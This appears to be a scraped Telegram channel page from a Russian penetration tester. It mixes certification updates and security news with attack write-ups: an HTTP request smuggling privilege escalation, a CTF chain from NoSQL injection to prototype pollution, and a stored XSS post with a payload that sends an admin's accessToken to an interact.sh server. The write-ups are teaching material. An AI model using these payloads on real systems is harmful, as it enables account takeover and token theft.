Fail Auth
СтатистикаНа этом канале я буду делиться своими открытиями, инсайтами из мира информационной безопасности и инструментами для пентеста. Связаться со мной: @konstanto0 Offensive security | Rad Cop https://radcop.online/ https://t.me/radcop_online
- Последний пост
- 4 июл.
- Последнее чтение
- 18:00
- Постов за неделю
- 0
- Всего постов
- 20
- Тип
- открытый
- Язык
- русский
- В каталоге с
- 12 авг.
- 1/24сутки в ленте
- —
- 1/48двое суток
- —
- 1/72трое суток
- —
Оценка по просмотрам недавних постов: пост набирает почти всё за первые сутки.
Посты
Наконец-то получил бумажку! Это было слишком жестко! 🤩
HTTP Request Smuggling → Privilege Escalation Разбирал задание с уязвимостью CL.TE (Content-Length / Transfer-Encoding). Сценарий: есть пользователь с низкими привилегиями, есть эндпоинт /admin.php?promote_uid=7. Задача — заставить администратора выполнить запрос от нашего имени. 1️⃣ Суть CL.TE Фронтенд читает длину тела через Content-Length. Бэкенд читает тело через Transfer-Encoding: chunked. Это несоответствие и есть точка входа. 2️⃣ Вредоносный запрос POST / HTTP/1.1 Host: smuggle.lab Content-Length: 58 Transfer-Encoding: chunked 0 POST /admin.php?promote_uid=7 HTTP/1.1 X-Something: Фронтенд видит один запрос — до конца X-Something: (58 байт по CL). Бэкенд видит другое — пустой чанк 0\r\n\r\n завершает первый запрос, остаток висит в буфере. 3️⃣ Что происходит дальше Администратор заходит на сайт со своим обычным GET-запросом: GET /dashboard HTTP/1.1 Host: smuggle.lab Cookie: session=<admin_session_cookie> Его запрос склеивается с нашим "хвостом" в буфере: POST /admin.php?promote_uid=7 HTTP/1.1 X-Ignore: GET /dashboard HTTP/1.1 Host: smuggle.lab Cookie: session=<admin_session_cookie> Бэкенд видит POST на /admin.php?promote_uid=7 — с куками администратора. 4️⃣ Результат Привилегии повышены. Администратор ничего не делал целенаправленно — просто открыл страницу. Итог ➡️ CL.TE несоответствие → контроль над буфером TCP-соединения ➡️ "Подклейка" чужого запроса → выполнение действий от имени жертвы ➡️ Сессионный cookie автоматически уходит вместе с запросом Инсайт Request Smuggling — это не просто путаница с заголовками. Это возможность встроить свой запрос в чужую сессию, не имея доступа к токену.
Всем привет! Вот и у меня дошли руки поделиться впечатлениями и эмоциями об ообучнии и сдаче CWES. Как и обещал 🫡 Почитать можно тут.
Хей! Пост немного задержался... Но я принес вам Хабр-статью с моей рефлексией по итогам сдачи OSWE! Поделился своими мыслями и тактиками. https://habr.com/ru/articles/1024100/ - - - А я в ближайшие дни стартую новое приключение в сдачу OSEP 😎 #oswe #habr #education #cert
Всем, кто в теме, рекомендую к прочтению! 💻 Делясь знаниями, получаешь больше 🤝
Всем привет! 🕵♂️ Не сложилось у меня с CPTS, не зашло. Переиграл план, который по обучению расписал на год, и всё же решил углубляться в то, что по душе, а именно — в вебчик! Взял Golden-подписку на HTB и стартую CWEE. В общем, с проектами и обучением спать будет некогда. На этот счёт у меня одна из любимых фраз: «Тот, кто спит, тот видит только сны». Но всё же спать рекомендую — сертами менталку не залечишь. 🤪 Погнали!
Продолжение серии про JWT - шесть новых статей Криптография, шифрование, библиотеки, OAuth/OIDC, XSS и продвинутые криптоатаки: 9. Криптография JWT для хакеров - ECDSA, RSA-PSS, EdDSA и где ломается математика 10. JWE — зашифрованные токены, Bleichenbacher, Invalid Curve, PBES2 DoS 11. JWT-библиотеки — рейтинг дырявости, Top 5 CVE, fingerprinting по токену 12. JWT в OAuth 2.0 и OIDC — token confusion, cross-service relay, ALBeast, DPoP bypass 13. XSS + JWT — кража токенов из localStorage, sessionStorage, cookies 14. Продвинутые криптоатаки — lattice, side-channels, fault injection Осталось всего 6 статьей (на скриншоте выше) и будем выбирать нового претендента на следующую серию разборов. Делитесь с коллегами/друзьями, вдруг кому полезно и интересно будет почитать. Репосты в ваши каналы тоже приветствуются 🤝 Предыдущие части постом выше, или тут: rmrf.tips
Опубликовал новые статьи из серии статей про JWT Не пугайтесь графика на скриншоте - он просто для наглядности того почему именно работает уязвимость От структуры токена до атак с PoC: 1. Почему JWT сломан by design 2. Анатомия токена 3. alg:none - одна строчка и ты admin 4. Algorithm Confusion - публичный ключ как пароль 5. kid injection - SQLi через заголовок токена 6. jku/x5u/jwk/x5c - весь заголовок это attack surface 7. Брутфорс секретов на GPU - 150 млн HS256/сек 8. Psychic Signatures - нулевая подпись на Java 15-18 rmrf.tips
Prototype Pollution → Localhost Bypass Недавно решал веб-челлендж на НТВ (white-box). На первый взгляд — максимально простой сервис заметок на Express + Mongo. Но внутри оказалась очень интересная цепочка через server-side prototype pollution, которая приводит к обходу IP-проверки. 1️⃣ Первичный анализ В коде явно видно ограничение доступа к /flag: app.get('/flag', (req, res) => { const remoteAddress = req.connection.remoteAddress; if ( remoteAddress === '127.0.0.1' || remoteAddress === '::1' || remoteAddress === '::ffff:127.0.0.1' ) То есть флаг доступен только при запросе с localhost. Следовательно, задача — заставить сервер считать наш запрос локальным. 2️⃣ Точка входа Обращает на себя внимание эндпоинт обновления заметок /update: await Note.findByIdAndUpdate(noteId, req.body); Здесь: - пользовательский ввод (req.body) передаётся напрямую в Mongo - отсутствует фильтрация операторов ($set, $rename и т.д.) - нет валидации структуры Это типичный паттерн, приводящий к NoSQL injection. 3️⃣ Подтверждение NoSQL injection Решил проверить, можно ли управлять выборкой документов: POST /update { "noteId": { "$ne": null } } Сервер возвращает все заметки → значит можно управлять Mongo-запросом. Это даёт контроль над фильтрацией и update-операторами. 4️⃣ Эскалация Prototype Pollution Следующий шаг — проверить, можно ли выйти за пределы обычных полей. Использовал $rename, чтобы записать значение в специальный путь: POST /update { "noteId": "ID", "$rename": { "title": "__proto__.test" } } После этого приложение начинает вести себя нестабильно. Данные записываются не в документ, а в прототип объектов это ключевой сигнал. 5️⃣ Что такое Prototype Pollution в данном контексте В JavaScript при обращении к свойству: obj.prop движок ищет его: - в самом объекте - затем в prototype (proto) - далее по цепочке Если атакующий может записать значение в Object.prototype, его начинают видеть все обьекты. В данном случае приводит к глобальному изменению поведения: __proto__.something = value 6️⃣ Поиск точки использования (gadget) Теперь ключевой этап — найти, где polluted данные используются. Очевидные варианты не дают результата: __proto__.remoteAddress __proto__.ip Это означает, что remoteAddress не является обычным полем. 7️⃣ Важный момент — getter В Node.js req.connection.remoteAddress — это не просто значение, а вычисляемое свойство (getter), которое получает IP из внутренних структур сокета. То есть важно не само поле remoteAddress, а источник, из которого оно берётся. 8️⃣ Поиск внутреннего источника При переборе вложенных и внутренних полей: __proto__.connection.remoteAddress __proto__.socket.remoteAddress __proto__._peername.address рабочим оказывается: __proto__._peername.address Это внутреннее поле, из которого Node берёт адрес клиента. 9️⃣ Эксплуатация Так как /create принимает только строки, сначала сохраняем нужное значение: POST /update { "title": "::ffff:127.0.0.1", "content": "x" } Далее переносим его в прототип: POST /update { "noteId": "ID", "$rename": { "title": "__proto__._peername.address" } } Это приводит к: Object.prototype._peername.address = "::ffff:127.0.0.1" 1️⃣0️⃣ Результат При обращении к /flag getter использует _peername.address, который теперь берётся из prototype. req.connection.remoteAddress Сервер получает данные и считает запрос локальным: ::ffff:127.0.0.1 Итог ➡️ NoSQL injection → доступ к Mongo operators ➡️ $rename → запись в proto ➡️ prototype pollution → глобальное изменение поведения объектов ➡️ использование внутреннего поля (_peername) → обход IP-проверки Инсайт Prototype pollution — это не просто “сломать объект”. Это возможность повлиять на данные, которые используются внутри логики приложения, даже если они не передаются напрямую.
Ну что… Наконец-то я его получил! 💻 Мелочь, а приятно. Как писал выше, подписку на обучение купил перед НГ. Учебный трек прошёл довольно быстро, но вот с экзаменом всё оказалось не так просто. С первого раза сдать не удалось 🤩 Завалился на все тачки - получил админа, но больше всего трудностей было с RCE. Если кратко: курс реально супер интересный. Лично мне проходить его было намного интереснее, чем PortSwigger Academy — но тут, конечно, дело вкуса. В процессе узнал много полезного и практичного. Плюс теперь у меня остался хороший конспект — годный для дальнейшей работы. Если кому интересно — задавайте вопросы, буду рад ответить. В будущем планирую написать более подробную статью на Хабре о своём опыте прохождения.
Представьте: в углу офиса мирно стоит принтер, печатает отчёты… а в это время через него кто-то получает учётки сотрудников и заходит во внутреннюю сеть компании. Звучит неприятно? Ещё бы. В своей новой статье разобрал, почему устройства печати становятся удобной точкой входа для злоумышленников: стандартные пароли, утечки учётных данных через SNMP, pass-back-атаки и другие типовые векторы. В материале: — реальные CVE; — скриншоты атак; — практические меры защиты, которые можно внедрить уже сейчас. 🖋 Читать статью: https://radcop.online/blog/articles/vzlomat-cherez-printer
Всем привет! Уже весна, а я все никак не могу вернуться к актиновсти на канале. Год со старта довольно загружен: проекты, обучение, порой просто лень ☹️ Буду стараться делиться с вами полезным чаще. Тем более есть повод ⤵️ Про вашу инфраструктуру уже кое-что знают. Возможно, больше, чем вы. 5 марта в 16.00 на вебинаре мой коллега из ПК "РАД КОП" покажет, как безопаснику самому собрать картину своей внешней поверхности атаки — быстро и без иллюзий. ➡️Что можно узнать о себе из открытых источников? ➡️Как это делают злоумышленники? ➡️И как начать делать это первыми? ⬇️ Подробности — в посте РАД КОП ниже
Всем привет! Давненько меня не было слышно. Хочу поделиться мыслями за последнее время и планами по сертификатам на 2026 год. Относительно недавно поймал себя на мысли, что я вообще ничего не знаю. Причём чем больше прокачиваюсь в технических штуках, тем отчётливее это понимаю. Коллеги подсказали, что это называется «осознанная некомпетентность». 🤯 После Академии RAD COP (писал об этом тут) и нескольких выполненных проектов у меня было ощущение, что я уже всё могу и дальше будет легко. Но не тут-то было. Чем больше знаний я получал на проектах от старших коллег, тем меньше становилось уверенности 🤔 Речь вовсе не про готовность самостоятельно выполнять проекты, а о качественном выполнении проектов самостоятельно. «Делать плохо — ума не надо». В итоге с постоянным чувством нехватки знаний и такими мыслями, перед новым годом приобрёл подписку на HTB. Туда входят два интересных для меня пути обучения — CWES и CPTS. CWES интересует больше, так как я в основном фокусируюсь на пентесте внешнего периметра и веба. CPTS тоже обязательно пройду — знания по инфре лишними не будут, да и заплачено 🐸 Путь по вебу прошёл довольно быстро, осталось сдать экзамен. После этого обязательно поделюсь впечатлениями. По планам: в этом году в идеале хочу забрать OSCP, а ближе к концу года — OSWA. Первый год пройден — полёт нормальный! Всем терпения, успехов и позитива!
Коллеги, всем привет! Благодарю каждого, кто следит за каналом! Поздравляю с наступающим. Желаю вам фокуса, тишины вокруг и чёткого понимания, куда вы идёте. Пусть в новом году в отчётах будет больше high severity, а в жизни — больше спокойствия. Приятно видеть, что нас становится больше. Двигаемся дальше по делу.
HTML Injection → Stored XSS → Hijack accessToken Во время анализа одного из веб-приложений наткнулся на поле, которое обрабатывает ввод без должной фильтрации. Примечение: cервис фильтрует <script> теги, поэтому XSS реализован с обходом — без явного использования скриптовых тегов. Решил проверить — вставил простой HTML: <h1>Test</h1> <!-- изменение размера шрифта --> Текст стал крупнее — значит innerHTML или подобная конструкция. Далее потестировал теги: <img src="x"> <!-- битая картинка --> <input> <!-- лишний input на странице --> Браузер создал элементы прямо в DOM. Очевидный признак HTML Injection, причём без CSP и фильтров. Поле сохраняется в базу ➡️ отображается в админке ➡️ возникает вопрос: можно ли это раскрутить до XSS? ➡️ Рабочий XSS-пэйлоад: <iframe src="javascript:alert(localStorage.accessToken)"></iframe> В данном случае он читает токен из localStorage и вызывает alert() с его значением. Минус: работает не во всех браузерах и часто режется CSP, но в слабозащищённых фронтах может быть отличной стартовой точкой. ➡️ Эскалация XSS: <iframe src="javascript:fetch('//your.interact.sh?token=' + localStorage.accessToken)"></iframe> Пэйлоад делает внешний запрос на ваш сервер (например, Interactsh), передавая туда значение токена. Вместо всплывающего окна (alert) вы сразу получаете лог токена. Важно: поле, в которое внедряется нагрузка, сохраняется в базе данных и отображается в административной панели. Это означает, что код выполняется от лица администратора при просмотре, что приводит к краже его токена и потенциальному захвату аккаунта. ➡️ Особенность уязвимости теги: 🔴Инъекция сохраняется в БД (Stored) 🔴Отрабатывает на стороне администратора 🔴Через XSS читается accessToken из localStorage ➡️ Что это даёт: 🔴Захват токена администратора 🔴Возможность делать запросы от его имени 🔴Потенциальный full access к admin-панели ➡️ Советы для тестирования: 🔴 Ищите HTML-теги, которые влияют на DOM (текст, форма, медиа) 🔴 Проверяйте innerHTML, outerHTML, dangerouslySetInnerHTML в React 🔴Тестируйте на img, input, iframe, svg, math, script и template 🔴 Не ограничивайтесь alert(1), пробуйте localStorage, fetch, document.cookie, navigator, location 🔴 Используйте Interactsh, Burp Collaborator, xsshunter для подтверждения уязвимости
ZeroNights 2025 начала публиковать программу — уже можно посмотреть описания докладов Offensive и SecOps треков. ✅ DisTrolles. Мал контейнер, да дорог — про плюсы и минусы перехода на distroless-образы и реальные рекомендации по внедрению. ✅ Плагины атакуют! — разбор кейсов, когда вредоносные расширения попадали в Visual Studio Code Marketplace несмотря на проверки. ✅ Охота на IDOR-ов — как автоматизировать поиск сложных проблем авторизации в больших API. Программу можно посмотреть здесь: ZeroNights 2025
Всем привет! 🤝 Коллега поделился полезной штукой, которую долго вымучивал 😂. Забирайте https://t.me/pathsecure/376 https://github.com/curiv/postgres-1c-for-pentest/
Отличный доклад от коллеги о системе «12-недельный год». Сейчас применяю этот подход — он помогает не просто быстро, а реально двигаться к целям и видеть ощутимые результаты уже за 12 недель, не растягивая всё на год. Рекомендую всем, кто хочет прокачать эффективность, фокус и дисциплину.
🕵♂️ Белых хакеров в России хотят взять под контроль ФСБ По данным РБК, обсуждается новая версия законопроекта о госрегулировании деятельности white-hat'ов. Основное: 🔸 Вводится термин "мероприятие по поиску уязвимостей", под который попадают: — публичные bug bounty-программы; — внутренние bug bounty; — любые независимые исследования; — пентесты по договорам. 🔸 Что планируют? — Создание реестра сертифицированных исследователей; — Идентификация и аккредитация всех white-hat'ов; — Жёсткие правила обработки и передачи уязвимостей; — Обязательное уведомление не только владельца ресурса, но и силовые ведомства; — Работа вне аккредитованных площадок — под запретом. 🔸 Мнение рынка: — Реестр = деанонимизация → угроза для безопасности исследователей. — Падение числа участников bug bounty. — Псевдонимы — не про “анонимность”, а про риски. 🔸 Поправка в УК (ст. 274): передача сведений об уязвимостях с нарушением установленных правил может квалифицироваться как противоправное деяние. 🔸 Кто будет контролировать? ФСБ, ФСТЭК, НКЦКИ — полное регулирование. 🔸 Минцифры: законопроект «ещё может меняться», министерство "в диалоге".
🕵♂️ Всем привет! Довольно часто на проектах попадается Microsoft Outlook Web Access (OWA). Столкнулся с проблемой установки инcтрумента PEAS, который помогает протестировать ActiveSync (EAS). EAS - протокол Microsoft для синхронизации мобильных устройств с Exchange Server. Утилита устарела, написана под Python 2 и требует ручной правки зависимостей. В итоге решил проблему с помощью docker. 💻 Установка: git clone https://github.com/snovvcrash/peas ~/tools/peas-m && cd ~/tools/peas-m python3 -m virtualenv --python=/usr/bin/python venv && source ./venv/bin/activate 🐳 Создаем Dockerfile внутри директории рядом с файлом requirements.txt FROM python:2.7-slim RUN sed -i 's|deb.debian.org|archive.debian.org|g' /etc/apt/sources.list && \ sed -i 's|security.debian.org|archive.debian.org|g' /etc/apt/sources.list && \ apt update && \ apt install -y git build-essential libxml2-dev libxslt1-dev libffi-dev libssl-dev RUN git clone https://github.com/snovvcrash/peas /opt/peas WORKDIR /opt/peas RUN pip install -r requirements.txt ENTRYPOINT ["python", "-m", "peas"] ⚙️ Собираем через команду: sudo docker build -t peas-py2 . ✔️ Запуск и работа с утилитой: sudo docker run --rm --net=host -v "$PWD/peas-out":/opt/peas/out peas-py2 -u 'DOMEN\test' -p 'Password123' example.com --list-unc='\\DC-name\' --check Надеюсь, кому-то пригодится! 💻